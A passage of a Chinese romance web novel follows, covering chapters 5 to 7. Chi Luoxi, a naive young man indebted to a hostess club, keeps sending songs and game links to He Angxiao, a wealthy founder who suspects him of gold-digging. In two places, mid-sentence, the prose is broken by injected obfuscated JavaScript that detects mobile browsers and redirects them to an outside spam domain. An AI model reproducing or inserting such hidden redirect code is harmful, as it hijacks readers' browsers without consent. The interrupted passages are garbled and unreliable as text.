然后,他没有任何铺垫,也没有拐弯抹角,直勾勾地看着贺昂霄:“你……很有钱吗?” 贺昂霄:“…………” 现在这种地方,搭讪都这么直白了吗?连基本的寒暄和迂回都省了,直接问财产状况? 贺昂霄身体微微后靠,陷进柔软的沙发里,看着迟萝禧,眼神里多了几分审视和玩味,语气听不出情绪:“怎么?你对这个很感兴趣?” 迟萝禧点头:“我可以加你微信吗?” 贺昂霄没回答,只是反问:“你叫什么?” “迟萝禧。迟到的迟,萝卜的萝,幸福的禧。”迟萝禧很认真地介绍,甚至怕他听不懂,还特意解释了一下。 “真名?” “嗯。”迟萝禧再次用力点头,眼神干净得没有一点杂质。 贺昂霄没再说话,包厢里光影摇曳,音乐嘈杂。 贺昂霄承认,他让迟萝禧靠近,一开始纯粹是觉得他顺眼。 啧,真是手段拙劣的小捞男。如此直白地打探他的财富情况,他贺昂霄怎么可能在这种鱼龙混杂的地方,随便加一个来路不明,行为怪异,目的明确陌生人的微信? 他又不是傻。 就在贺昂霄心里已经给迟萝禧贴上低级捞男的标签,不足为虑,但有点意思可以逗逗。 迟萝禧忽然又开口了,他凑近了些,对着贺昂霄真诚开口道:“贺先生,你是我这么久以来,在这里见到的第一个很特殊的人。” “你好干净,”迟萝禧继续说,眼睛一眨不眨地看着贺昂霄,“跟那些人完全不一样,他们身上都乱七八糟的,看着就难受,你不一样。” 迟萝禧眼里带着纯粹不掺任何杂质的欣赏:“而且你长得好好看。” 贺昂霄:“…………” 迟萝禧说这话时,脸上没有谄媚,有一种发现美好事物般自然而然的赞叹。 那双眼睛太干净了,干净到贺昂霄相信他说的是事实。 空气安静了几秒。 只有背景音乐在不知疲倦地鼓噪。 贺昂霄忽然动了。他放下交叠的长腿,身体微微前倾,向迟萝禧的方向靠近了些,他伸出手,摊开掌心,手指修长干净,指甲修剪得整齐。 “手机。”他说。 迟萝禧:“……什么?” 贺昂霄:“手机,拿出来。” 迟萝禧这才反应过来,掏出手机。 贺昂霄调出自己的二维码名片:“你扫我。” 5. 审美差异 贺昂霄那晚没怎么喝酒。 酒大部分都进了迟萝禧的肚子里。 杨洲一行人走的时候,东倒西歪,互相搀扶着,嘴里说着胡话,尤其是杨洲,腿都软了,得靠人架着才能站稳。 只有贺昂霄,从头到脚,连头发丝都没乱,眼神清明,姿态从容,还给迟萝禧转了两千块钱。 这种场合陪酒的人拿小费是惯例,数额也看心情。 迟萝禧看着两千,心想贺昂霄果然是有钱人。 贺昂霄就当是看了一场还算有趣活人表演的酬劳,迟萝禧在他身边的时候,像一团热的云。 春晖会所这种地方,最不缺的就是八卦和消息。 第二天,几乎春晖会所所有人都知道了,上次还把客人甩脱臼的迟萝禧,昨晚居然进了VIP包厢,而且全程就坐在客人身边,据说相谈甚欢。 当时在同一个包厢的少爷小姐们,聚在一起传播八卦。 “我亲眼看见的,那个迟萝禧,一开始还傻坐着,后来就越来越往贺先生那边靠,说话声音也小小的,那位贺先生居然没把他推开。” “何止没推开,贺先生还让他帮忙挡酒呢,杨总灌酒,贺先生就指使他喝,他真喝,一杯接一杯。” “最后走的时候,贺先生还给他钱了,我瞄了一眼,好像是转账,数额肯定不小。” “啧,看不出来啊,平时装得跟个傻子似的,合着专挑硬骨头啃。” 消息传到杨经理耳朵里时:“合着迟萝禧这人不是真傻?他卡建模啊。” 这傻小子丑的还不要。 不管怎么说在会所这种地方,能搭上贺昂霄这种级别的客人,就是本事。 于是迟萝禧在会所内部的地位,一夜之间,发生了微妙的变化。他从之前那个多功能性人才,哪里需要往哪搬的打杂工,被迅速提拔成了有待观察的重用人才。 杨经理特意把迟萝禧叫到办公室,关上门,脸上难得地露出了点堪称和颜悦色的表情。 她给迟萝禧倒了杯茶,语气推心置腹。 “小迟啊,昨晚表现不错,你眼光倒是挺毒,那位贺先生,可不是一般人,年轻有为,自己开的科技公司,江州那个很有名的霄衡科技知道吧?就是他的产业。那可是真正的青年才俊,身家这个数。” 她比了个手势,眼神里带着点暗示和鼓励,“我听说,你加上他联系方式了?” 迟萝禧捧着那杯水,老老实实地点头:“嗯,加了微信。” 杨经理眼睛一亮:“加了就好,这可是难得的机会。” “既然他对你有点特别,那你就要把握好,嘴巴甜一点,机灵点,多说点好听的,哄他高兴,让他经常过来玩。只要他肯来,你的业绩还用愁吗?那笔债,说不定很快就能还清了。” 迟萝禧听着,脸上却没什么喜色,反而有点沮丧,小声说:“可是我给他发消息他都不理我。” 杨经理愣了一下:“你发什么了?” “就……早安,晚安,问他吃饭了没。” 迟萝禧的声音更低了,“他一条都没回过。” 杨经理:“正常,贺先生那种人,什么没见过?能随便回你消息才怪了。但他没删你,没拉黑你,就已经是信号了,说明他对你不反感。你继续发,坚持发,多发点甜言蜜语关心的话,男人嘛,再骄傲也喜欢被人捧着,哄着。” 杨经理又对迟萝禧一番心灵鸡汤加pua,一看迟萝禧的表情,就知道他根本没听进去,又让他出去。 白曼听说了这事:“行啊你,闷声干大事,我听小雅说了,那个贺昂霄特别拽。” 他摸着下巴,想了想迟萝禧的模样:“可能山珍海味吃多了,就想尝尝你这口没加工过原生态的味道。” 周围全是鼓励,甚至带着点怂恿迟萝禧趁热打铁,抓紧机会,一举上岸的声音。 仿佛迟萝禧面前就是一片闪着金光名为贺昂霄的山,而他正赤着脚,站在冰冷的海岸边试探,所有人都催促他跳下去,游向那遥不可及的金山。 迟萝禧被这些声音包围着,可真的加上了,对方不理他,他又不知道该怎么办了。 迟萝禧:“Mana,看来我还是刷盘子比较实在,贺先生都没回过我。” 白曼看他那副愁眉苦脸的样子,啧了一声,伸手:“手机给我,我看看你怎么跟人聊的。” 迟萝禧乖乖把手机递过去。 白曼点开微信,找到贺昂霄的聊天框,第一眼,就被迟萝禧的头像震了一下。 那是一个非常具有冲击力的图片。 七个葫芦娃以各种高难度姿势叠罗汉一样摞在一起,色彩鲜艳到刺眼,背景是光芒万丈的彩虹和祥云,上面还用闪闪发光的艺术字写着兄弟同心,其利断金。 白曼:“…………” 他深吸一口气,感觉自己的审美受到了暴击。他面无表情地看着迟萝禧:“……迟萝禧,你能不能别搞这么抽象?你是生怕别人不知道你脑子跟正常人长得不一样是吧?” 迟萝禧有点委屈,小声辩解:“这是我的偶像。” 白曼翻了个巨大的白眼,懒得跟他争论偶像的问题。 他点开相册,想找张迟萝禧能看的照片换掉这个惊世骇俗的头像。 结果相册里除了几张会所照片,就是各种角度那个装着土的盆特写,还有几张葫芦娃的截图。 白曼叹了口气,举起自己的手机,打开美颜相机,对准还一脸茫然的迟萝禧,拍了几张。 他选的是那种能把人拍得又萌又嫩的滤镜,角度是俯拍,迟萝禧仰着脸,皮肤被磨得白皙透亮,睫毛纤长,眼神因为猝不及防的拍摄而带着点无辜的茫然,配上柔软的亚麻色头发,看起来确实又萌又可爱,杀伤力十足,比之前那个葫芦娃合体不知道顺眼了多少倍。 白曼满意地看着自己的作品,顺手就给迟萝禧换了上去。 “好了,这样看着还有点聊天欲。” 点开聊天记录。 贺昂霄那边空空如也,只有迟萝禧单方面发出的消息。 白曼扫了一眼内容,就是普通的贺先生晚上好,贺先生早安,贺先生吃饭了吗,虽然看起来笨笨的,但没什么大问题。 问题出在……表情包。 迟萝禧之前在后厨,在保洁部跟那些大叔大婶们混熟了,和他们聊得很来,那些中老年人最爱带着各种闪亮特效,花朵环绕,红红火火,写着早安吉祥,晚安好梦,身体健康字样的表情包。 迟萝禧觉得这些图片颜色鲜艳,字也大,看着就喜庆,正戳中他朴素的审美,于是也收藏了不少。 于是他发给贺昂霄的早安,配的是一个巨大的,金光闪闪的太阳,周围绕着牡丹和喜鹊,上面写着旭日东升,好运连连。 晚安配的是一轮明月挂在柳梢头,下面有荷花和鸳鸯,写着月色如水,好梦相伴。 问吃饭了吗,配的是一桌子冒着热气的满汉全席,周围是硕果累累的葡萄和玉米,写着五谷丰登,吃好喝好。 白曼看着那一排排色彩饱和度极高,元素堆砌到爆炸,带着浓浓上世纪九十年代城乡结合部风格的老年表情包,沉默了足足十秒钟。 “……迟萝禧,你没救了。” 迟萝禧不理解,怎么就没救了? 他觉得白曼的反应有点夸张。 那些表情包多好看,颜色鲜艳亮丽,花朵栩栩如生,字也写得又大又清楚,透着满满的祝福和喜庆。 迟萝禧:“我觉得挺可爱的……” 白曼懒得跟他争辩审美差异这种世纪难题。他没收了迟萝禧使用那些老年表情包的权限,然后给迟萝禧指了条明路。 “就唱歌,你不是会唱歌吗?别整那些花里胡哨的了,就用你的声音,有事没事给他发段语音,不用太长,哼几句,清唱就行,声音放软一点,带点感情,啧,算了,你就正常唱,别跑调就行。重点是让他听到你的声音,记住你这个人,懂吗?” 迟萝禧别的没太听懂,但唱歌他听懂了。 这个他会。 在山里的时候,爷爷干活累了,或者晚上乘凉,他也会随口哼几句山歌,调子简单,声音清亮,爷爷总说好听。 在会所他也会小声哼几句,路过的杨经理听见了,确实夸过他嗓子干净,就是唱的歌太土。 于是,迟萝禧开始了他每日雷打不动堪比上班打卡的语音问候之旅。 每天他都会点开贺昂霄那个头像是一片深蓝色湖泊的聊天框。 先打一句规规矩矩的固定开场白:“贺先生,早上好/晚上好。” 然后他会按住语音键,清清嗓子,开始哼唱。 他不太懂什么叫带感情,就是很自然用他那副干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388060|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净又清亮的嗓子,随意地哼唱几句。 会所放的流行情歌片段,他听几遍就会唱了。 时间不长,十几二十秒,唱完了就松手。 发送。 迟萝禧会再补上一句邀请:贺先生,你今天有空过来玩吗? 偶尔也会关心一下:贺先生,你工作是不是很忙啊? 就没了。 迟萝禧又不会找话题,也不知道还能说什么。 贺昂霄那边一片死寂。 如此这般,风雨无阻,坚持了两个星期。 贺昂霄那边依旧杳无音信,连个嗯或是句号都没回过。 白曼从一开始的说不定有门,到后来的可能他在忙,最后变成了同情。 他看着迟萝禧每天准时打卡,安慰道:“小迟啊,要不算了吧,我怀疑,你加的那个根本就不是贺昂霄本人用的号,说不定就是个小号,专门用来应付咱们这种不知天高地厚,硬往上凑的。人家可能看都懒得看,直接屏蔽了。” 迟萝禧听着,脸上没什么特别的表情。 他其实也没抱太大希望。 白曼和杨经理他们说的那些机会,翻身,对他而言都太遥远了。 贺昂霄又不是他爷爷,怎么可能会平白无故就对他怎么样。 他加贺昂霄,只是觉得对方干净,和其他人不一样,可加了之后,对方不理他,他也就不再奢望什么了。 迟萝禧依旧每天在会所干着各种杂活,还债遥遥无期。 闲暇时,迟萝禧最大的娱乐,就是玩手机里那些不费流量的小程序游戏。 玩法简单,画面粗糙,但能消磨时间。 就是有时候玩到关键处,需要复活或领取奖励,游戏会提示分享给好友。 他第一次不懂,顺手就分享到了杨经理建那个他还没被踢出去的精英工作群。 结果不到一分钟,杨经理的电话就追了过来,劈头盖脸一顿臭骂。 “迟萝禧!你是不是脑子真有病,这是工作群!工作群!你看不见名字吗?谁让你在里面发这些乱七八糟的游戏链接的?玩物丧志,你看看你这个月业绩是多少?零!鸭蛋!垫底!这里就你最清闲是吧?还有心思玩游戏?我告诉你,你再这么烂泥扶不上墙,就给我滚去刷一辈子碗,听见没有?” 迟萝禧被骂得一声不敢吭,才知道这会让人觉得困扰。 从那以后他再也不敢往乱分享了。 分享给白曼,白曼也会翻着白眼骂他。 于是迟萝禧的分享对象,只剩下了一个人,那个不会回复,头像是一片深蓝湖泊的贺先生。 一开始他分享游戏链接的同时,还会不好意思附上一句打扰了,后来见对方始终毫无反应,反正对方也不理他,大概真的像白曼说的是个死号吧。 某天晚上迟萝禧一翻,发现他给贺昂霄分享好多游戏分享,也没问个好什么的了,就算对个死号也不由地觉得有点愧疚。 他想了想,按住语音键:“贺先生,我给你唱一首我最喜欢的歌吧,我不是故意给你分享那么多游戏的。” “葫芦娃,葫芦娃,一根藤上七朵花,风吹雨打,都不怕,啦啦啦啦……” 他唱得很投入,甚至不自觉地跟着旋律微微晃着脑袋。唱完一段,觉得意犹未尽,又接着唱下一段:“叮当咚咚当当,葫芦娃,叮当咚咚当当,本领大,啦啦啦啦……” 唱完了,他松开手指,看着那条新鲜出炉长达四十多秒的语音条,满意地点点头。然后迟萝禧顺手把刚才玩到一半,需要分享复活的贪食蛇小游戏链接,也一并发了过去。 然而今天就在他迟萝禧迷迷糊糊,快要睡着的时候—— 被他随手扔在枕头边屏幕已经暗下去的手机,突然嗡地震动了一下。 迟萝禧困倦地睁开一只眼,伸手摸过手机,屏幕亮起,锁屏界面上已经是十二点了,赫然显示着一条微信新消息提示。 来自:贺先生。 迟萝禧的睡意瞬间跑了大半,怀疑自己看错了。他解锁手机,点进微信,那个沉寂了半个月,头像是一片深蓝湖泊的对话框,竟然真的有了新消息。 贺先生:我不喜欢听这个,幼稚死了。 迟萝禧手一抖,手机差点掉在床上。 贺昂霄真的有看,那就是他好像骚扰了贺先生半个月。 6. 好嗲 迟萝禧的瞌睡虫都被吓跑了。 他抱着手机,看了看手机右上角的时间,已经十二点了。 这个点在他们山里,早就万籁俱寂,家家户户都熄灯了。迟萝禧是因为今天活多,又玩了会儿游戏,才熬到这个点。 迟萝禧:贺先生,你还没睡吗? 这个点对贺昂霄来说怎么可能睡? 城市的夜生活刚刚拉开序幕,霓虹闪烁,喧嚣未止。 他虽然不像某些二代那样沉迷夜店,但生活节奏快,工作堆积如山,邮件,信息,手机屏幕似乎永远亮着。 加上他有些轻微的睡眠障碍,常常需要褪黑素的帮助,才能在一两点钟勉强入睡。 夜里十一,二点,对他来说,不过是又一个普通工作日的夜晚中场。 贺昂霄言简意赅:还早。 迟萝禧心想这有钱人还挺辛苦的。他以前在山里,吃了晚饭散会步,爷爷就催他睡觉了,八九点钟,整个村子都静悄悄的。 现在在会所因为要干活,睡得晚了些,但也基本十点左右就困得不行了。贺先生居然这个点还说还早,看来赚钱真的不容易。 迟萝禧关怀:贺先生,你早点睡吧,我那天看你眼圈好像有点黑。 贺昂霄:“…………” 黑眼圈?他自己都没太注意。 贺昂霄放下手机,鬼使神差地站起身,走到镜子前,凑近了,仔细端详镜子里那张无可挑剔,但随时有些倦意的脸。 嗯……好像是有一点点。 这小捞子观察得还挺仔细。 贺昂霄心里划过一丝微妙的感觉。 这小捞子一边天真烂漫装清纯,一边又用这种看似不经意的细节关心撩拨他。 欲擒故纵? 迟萝禧可不知道贺昂霄心里弯弯绕绕想了这么多,他发完那条关心的话,时间真的不早了,他明天还要早起打扫卫生。 于是他决定结束这次意外的对话,迟萝禧用很乖的语气说:“贺先生,我得睡了,晚安。” 贺昂霄一不小心听了这又软又懵的声音听了好几遍,啧,声音倒真是挺好听的。 但就这么让他晚安了,是不是有点太便宜他了。这小捞子,把他这儿当什么了?情绪垃圾桶?想发什么发什么,发完就跑? 贺先生:你把我微信当垃圾桶了啊。 迟萝禧刚把手机放回枕头边,准备躺下,听到震动,又拿起来,看到这句话,贺先生生气了? 迟萝禧:[哭泣]对不起,贺先生,我以为这是你的小号,你不会看的…… 贺昂霄刁难:一声对不起就完了? 说白了贺昂霄就是想看看,这个行为诡异的小捞男,接下来会怎么表演。 真是手段俗套,用天真烂漫吸引注意力,然后顺势发//骚勾引,是这行的基本操作吗?但贺昂霄不得不承认,这个小傻子确实引起了他的注意力。 道歉没用,那怎么办? 迟萝禧按住语音键,软绵绵小声地说:“那……贺先生,你来玩好不好?我给你唱歌,唱你喜欢的,你来嘛。” 迟萝禧觉得自己现在脑子聪明了,消费。 如果贺先生能来玩,能开瓶酒,那他是不是就能有点提成了?他的还债之路,就能稍微快那么一点点? 贺昂霄听着这段语音,啧,好嗲。 刻意放软的声音,笨拙的勾引。 果然开始了,露出狐狸尾巴了。 贺昂霄拒绝得毫不留情:别想了,我工作很忙。 迟萝禧心里那簇刚刚燃起的小火苗,“噗”地一下,熄灭了。 失败了。 他有点伤心,不是因为贺昂霄拒绝了他的邀请,而是意识到,以后,他没有可以随便分享游戏链接的人了。 迟萝禧只好又玩起了《保卫萝卜》。 白曼有时候会回来得挺晚,会所的工作时间不固定,尤其是像白曼有时候会被客人带着出去吃宵夜,或者有其他局,凌晨两三点回来是常事。 有一次迟萝禧因为打扫一个的包厢,也弄到很晚。 他从员工通道的后门出来,绕到会所大楼侧面那条僻静的,没什么灯的小路,想抄近路回宿舍。 就在小路拐角那棵半死不活的老槐树下,他看到了两个紧紧挨在一起,融进阴影里的身影。 迟萝禧借着远处路灯一点微弱的光,他认出了其中一个穿着紧身皮衣,身材纤细的背影,是白曼。另一个是个比他高壮不少的男人,看不清脸,只能看到模糊的轮廓。 两人正旁若无人地接着吻。 迟萝禧连忙低下头,像只受惊的兔子溜了过去。 他又不是傻子,在会所待了这么久,耳濡目染,加上有手机,上网一搜,什么都看得到。 迟萝禧早就隐隐约约知道了这会所光鲜亮丽,觥筹交错的表象之下,那不为人知的,甚至是有些肮脏的另一部分。 那些进进出出,出手阔绰的客人,想要的不仅仅是几杯酒,几首歌,迟萝禧觉得他们想要的和付出的好像跟他都没什么关系。 保洁部那些善良的大叔大妈们,私下里没少替他抱不平,骂杨经理和何佑他们缺德,没良心,专坑老实孩子。 迟萝禧自己也觉得是,春生哥到底在哪里?他当时要是直接找到春生哥,是不是就不会被骗进这里了。 和白曼接吻的那个男人,迟萝禧虽然看不清脸,但能看到对方身上散发出一片浑浊不堪,充满了各种杂乱欲望的气。 那气息让迟萝禧觉得很不舒服,甚至有点反胃。 迟萝禧想要是让他跟那样气息浑浊的人做那种事,他宁可一辈子在会所刷盘子,拖地,洗厕所。 幸好迟萝禧那一甩的威名还在,会所的人怕他再惹事,也摸不准他到底什么路数,暂时还没敢真逼他怎么样。 杨经理又一次把他叫到办公室,问他心态调整得怎么样?还想不想多挣点钱,早点还债? 迟萝禧犹豫了一下,小声说:“……好像有点调养好了。” 杨经理:“这就对了,年轻人想开点,没什么大不了的,今天晚上,你跟白曼一起,陪帝景那个包厢。里面有几个很重要的客人,你机灵点,学着白曼怎么做。不用你多说话,多笑,多倒酒就行,最重要的是……别摔客人。” 迟萝禧:“……那要是有人摸我,我也把不准啊。” 杨经理:“那贺先生那样的呢?” 迟萝禧:“……倒可以忍受。” 杨经理抓狂:“要是谁都像贺昂霄,那还找什么人陪他,贴上去的人大把大把的,你还想不想还钱了?” 迟萝禧说:“我想啊。” 杨经理说:“你想,光想有什么用。” 就在这时一个意想不到的身影出现了。 贺昂霄。 白衬衫,熨烫得一丝不苟的黑色西裤,没打领带,衬衫最上面的扣子解开着,露出一小截线条清晰的锁骨。 头发梳得整齐,脸上没什么表情,五官在走廊柔和的光线下显得格外深邃立体。 人模狗样,斯文败类,带着点生人勿近的疏离感。 他径直朝着迟萝禧的方向走来,明明看见了他,却把头转向旁边引路的服务生:“我找迟萝禧。” 真是很装一个男的。 迟萝禧简直如蒙大赦,眼神里是小狗看到肉骨头般的欣喜和期盼跑过去:“贺先生,你不是很忙吗?怎么有空过来。” 杨经理也愣了一下,显然没料到贺昂霄会突然出现,还指名道姓要迟萝禧。她反应极快,对贺昂霄点头哈腰:“贺先生!您来了,小迟,还不快跟贺先生去!好好招待贺先生!” 贺昂霄没理会杨经理的殷勤,只是对迟萝禧抬了抬下巴:“跟我来。” 他没要那些顶级的VIP包厢,只要了一个位置比较偏,装修也相对简单,价格最次的小包间。沙发不算特别柔软,音响效果也一般。 他走进去,很随意地在沙发中间坐下,长腿交叠,姿态慵懒,像在自己家客厅。 服务生问需要什么酒水。 贺昂霄摆摆手:“不用,今天不喝酒,就来听听歌。” 他就是故意的。 故意不点酒,故意要最差的包间,贺昂霄就想看看,这个费尽心思想捞他,昨天还勾引他的小捞男,面对这种明显抠门又没油水的客人,会不会失望破功,会不会露出贪婪的真面目。 包间里只剩下他们两个人。 迟萝禧可没想那么多弯弯绕绕。他只知道,贺先生来了,他不用去帝景了。 而且贺先生身上气很干净,待在他身边很舒服,至于不点酒?喝酒确实伤身,贺先生不喝是好事,包厢小点差点?更没关系了,反正他就是来唱歌的。 迟萝禧非但没有丝毫破防的迹象,反而乐颠颠的,脸上是发自内心的开心,看着贺昂霄的眼神,简直比看见失散多年的亲人还要亲热。 他主动走到点歌台旁边,熟门熟路地操作起来,一边还转过头,眼睛亮晶晶地问贺昂霄:“贺先生,你想听什么歌?我什么都会一点!” 贺昂霄看着他这副没心没肺的乐呵样,心里那点刁难的兴致,莫名地减弱了些:“我今天不会点一瓶酒,你白忙活。” 迟萝禧正在翻歌单,闻言头也不抬:“喝酒伤身,贺先生你不喝是好事,要不我给你拿点水果?水果可以无限次加的,而且都挺新鲜的。” 他说着,真的走到茶几旁,用果叉叉起一块切得方正正的西瓜,递到贺昂霄嘴边。 贺昂霄:“…………” 他看着递到嘴边的西瓜,这小捞男,段位高到已经返璞归真了?他把西瓜咬进嘴里:“……你不是唱歌吗?唱啊。” 贺昂霄这个人,骨子里是有点坏的。 他觉得迟萝禧既然敢不知天高地厚地招惹他,用那些拙劣又诡异的方式试图引起他的注意,那他就要让这小家伙明白,这世上没有那么好的事,不是什么金主都能随便捞的。 他贺昂霄就是捞男克星,眼光毒,心肠硬,最擅长撕破这些虚情假意的伪装。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388061|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 迟萝禧可不知道他这些心理活动。 他见贺昂霄不喜欢吃水果,自己多吃了几口,高高兴兴地拿起了话筒。 不用打扫卫生,不用面对那些讨厌的客人和浑浊的气,还能唱歌,多好。 迟萝禧一开始还比较拘谨,唱了几首当下比较流行,节奏也欢快的嗨歌,试图活跃气氛。但贺昂霄只是靠在沙发里,手指在膝盖上有一搭没一搭地敲着,没什么反应。 迟萝禧唱了一会儿,又切了歌,这次他选了几首旋律比较温柔舒缓,甚至带着点淡淡忧伤的情歌。 这些歌的调子不高,很适合他清亮的嗓音。 迟萝禧的声音,在音响设备里,被放大,润色,更显出独特的质感。不是那种刻意训练过带着技巧的华丽,而是原始干净,仿佛山涧清泉流淌过石头的清越。 当他唱那些温柔的歌词时,声音里会不自觉地带上一点缱绻,像林间清晨的薄雾,轻轻柔柔地包裹过来。 贺昂霄本来只是闭目养神,可听着听着,他发现自己紧绷的神经,竟然在那清澈又温柔的歌声里,一点点松弛下来。 白天堆积的工作压力,那些繁杂的邮件和会议,人际交往中不得不维持的虚伪和算计,似乎都被这歌声暂时驱散了。 仿佛真的被带到了某个远离尘嚣,只有风声和鸟鸣的自然山林里。 连续几天的高强度工作,睡眠质量又差,贺昂霄身体和精神都处于透支的边缘。 此刻困意,竟然不受控制地排山倒海般涌了上来。 起初他还试图抵抗,坐直身体,想喝口水提提神,可眼皮越来越重,意识越来越模糊。 迟萝禧的歌声像是带着某种安神的魔力,将他拖入了温暖的睡眠深渊。 等他再次恢复意识时,是被包间里空调设定的恒定温度吹得有点冷,激灵了一下,醒了过来。 贺昂霄睁开眼,一时间有些茫然,不知道自己身在何处。 几秒钟后记忆回笼。 他猛地坐直身体,发现自己身上盖着一件衣服,一件普通的黑色连帽衫,带着点淡淡的洗衣粉的味道。 贺昂霄皱了皱眉,扯下衣服。 只见迟萝禧正坐在旁边的沙发上,背对着他,微微弓着身子,低着头,双手捧着手机,神情专注,手指在屏幕上飞快地划拉着,嘴里还小声地念念有词:“这边……这边……哎呀,漏了一个!” 他在玩《保卫萝卜》。 屏幕的光映着他侧脸柔和的线条和长长的睫毛,表情是那种全神贯注的认真。 感觉到他醒了,迟萝禧转过脸,看到贺昂霄坐起来了,眼睛立刻一亮,放下手机,凑了过来关心道:“贺先生,你醒了?是不是空调太冷了?” 贺昂霄:“…………” 他看着迟萝禧近在咫尺干净又无辜的脸,脑子里第一个冒出来的念头,不是我怎么睡着了。 而是—— “你给我下药了?” 迟萝禧被他问得一愣:“没有啊,贺先生,我怎么会给你下药,你是不是工作太累了,所以才睡着了?” 贺昂霄没说话,只是盯着他,心里是惊疑不定的。 他一向是个睡眠特别挑剔,入睡也特别困难的人,床垫的软硬,枕头的弧度,房间的温度,湿度,光线,甚至空气流动,稍有不对,就能让他辗转反侧,更别提在这种嘈杂,陌生,沙发也不够舒适的环境里了。 可今天他居然就这么毫无防备沉沉睡去了? 贺昂霄看了看表,还睡了不短的时间?这简直不可思议。 是被人下了什么助眠的药物?又不像。而且他也没觉得身体有什么异样,只是睡醒后的精神,竟然出奇地好,连日来的疲惫都消散了不少。 难道真是这小捞男的声音有魔力?能给他唱晕了? 贺昂霄忽然觉得事情的发展,好像有点脱离他的掌控了。 他不是捞男克星吗?怎么好像被这小傻子给克了?他不会是给自己找着克星了吧? 这个想法让贺昂霄觉得荒谬又慌乱,他猛地站起身,也顾不上形象,拿起自己的外套,匆匆对迟萝禧丢下一句“我还有事”,就头也不回,落荒而逃。 留下迟萝禧一个人站在包厢里,看着被匆匆关上的门,眨了眨眼。 贺先生怎么好像被吓跑了? 不过他很快就把这点疑惑抛到了脑后。 迟萝禧想起了更重要的事,他今天陪了贺先生几个小时,虽然没有开酒,但包厢费和果盘钱,总是有的吧?他是不是能有点提成了? 他跑到前台,满怀期待地问:“姐姐,贺先生那个包厢结账了吗?我能有多少提成呀?” 前台姐姐正在核对单子,闻言抬起头,看了他一眼,指了指电脑屏幕:“小迟啊,你没上系统啊。杨经理没给你录进去,贺先生只结了包厢的最低消费和果盘钱,酒水单是空的。你没业绩,没提成。” 合着迟萝禧忙活了几个小时,包厢要钱,水果要钱,就他是那个最便宜,甚至是免费的。 7. 真喜欢他 迟萝禧觉得虽然自己没上系统,没有明码标价,是可以被随意使唤的多功能杂工。 但这不代表他没有价值。 迟萝禧在这会所待了这么久,别的没学会,杨经理那句经常挂在嘴边,用来敲打所有人的话,他倒是牢牢记住了 ——“只要进了这扇门,就算这里的空气都是要钱的!” 既然空气都要钱,那他陪了贺先生那么久,说了话,唱了歌,还贡献了自己的外套,那是不是也该有点报酬? 至少不能比打扫卫生一天一百块还少吧? 迟萝禧用直愣愣的语气,发过去一句话:贺先生,你忘记付我的钱了?我也要钱的。 贺昂霄:多少? 迟萝禧连忙开始算,杨经理给他算的工钱,打扫卫生一天累死累活才一百块,平均下来,嗯,一小时也就十块左右?陪客人应该更贵一点吧?白曼他们陪酒,据说提成很高的。 但他只是唱歌,也没喝酒。 迟萝禧纠结了半天,决定狮子大开口:五十块钱一个小时。 贺昂霄那边几乎是秒回。 不是文字,是一条转账通知。 三……三百? 是三百,迟萝禧算了算,五十块一小时,他陪了大概四五个小时?好像差不多? 贺先生居然真的给了,还直接凑了个整。 迟萝禧:谢谢贺先生!(^▽^) 贺昂霄看着那个带着傻气的颜文字,三百块,对他来说跟口袋里掉个钢镚差不多,根本不值一提。 可转完之后不对劲了。 操。 他刚刚干了什么? 他贺昂霄,自诩捞男克星,冷静自持,眼光毒辣,他之前还信誓旦旦,绝对不能在这个行为诡异的小捞男身上开哪怕一丝一毫的口子,不能让他尝到一点甜头,否则…… 否则这小捞男就会像嗅到血腥味的鲨鱼,得寸进尺,步步紧逼。 今天敢要五十块一小时,明天就敢要五百,后天就敢要五千,他会用看似天真,实则精于算计的手段,一步步试探他的底线,撒娇,示弱,装可怜,会把他玩弄于股掌之间,像驯服一条愚蠢的狗。 然后榨干他的房子,车子,存款,等他失去所有利用价值,再毫不留情地一脚踹开,去寻找下一个乐子。 这不就是那些低级捞男的经典套路吗?他怎么就一时昏了头,真给钱了呢?虽然不多,但这口子一开后患无穷。 贺昂霄连忙及时止损:别得意,我告诉你,你跟其他人没什么不同的。 迟萝禧正捧着手机,美滋滋地看着账户里多出来的三百块,忽然又收到这么一条消息。 “跟其他人没什么不同?” 这话是什么意思,难道贺先生看出他不是普通人了?看出他是妖精了? 迟萝禧还记得爷爷说过,千万不能暴露他妖精的秘密,否则会给他带来灭顶之灾的,他最大的秘密,就是他的身份。 迟萝禧:我很普通的,真的!跟其他人一样的,就是力气大了点,唱歌好听一点点,但我真的是普通人,贺先生你千万不要误会! 贺昂霄看着这条急于辩白,有点语无伦次的回复,这小捞男,又在玩什么把戏?欲擒故纵?以退为进? 说自己普通,是在暗示他特别? 贺昂霄:你知道就好。 迟萝禧看着这句,心里七上八下的。贺先生这到底是信了还是没信,他琢磨不透,但看到账户里那实实在在的三百块,又觉得贺先生好像也没那么生气?还给了钱呢。 他都这么说了,贺昂霄应该不会怀疑他的身份了吧。 得了好处迟萝禧很快就觉得贺先生是个好人,虽然嘴巴毒了点,贺先生只是外表冷淡,其实心肠不坏。 于是他胆子又大了一点:贺先生,你下次什么时候来啊?我学新歌唱给你听。 贺昂霄心想自己一时失手,对方果然得寸进尺:别想了,我不会来了。 发出去又觉得像在跟谁闹别扭,有点掉价,但贺昂霄懒得撤回了。 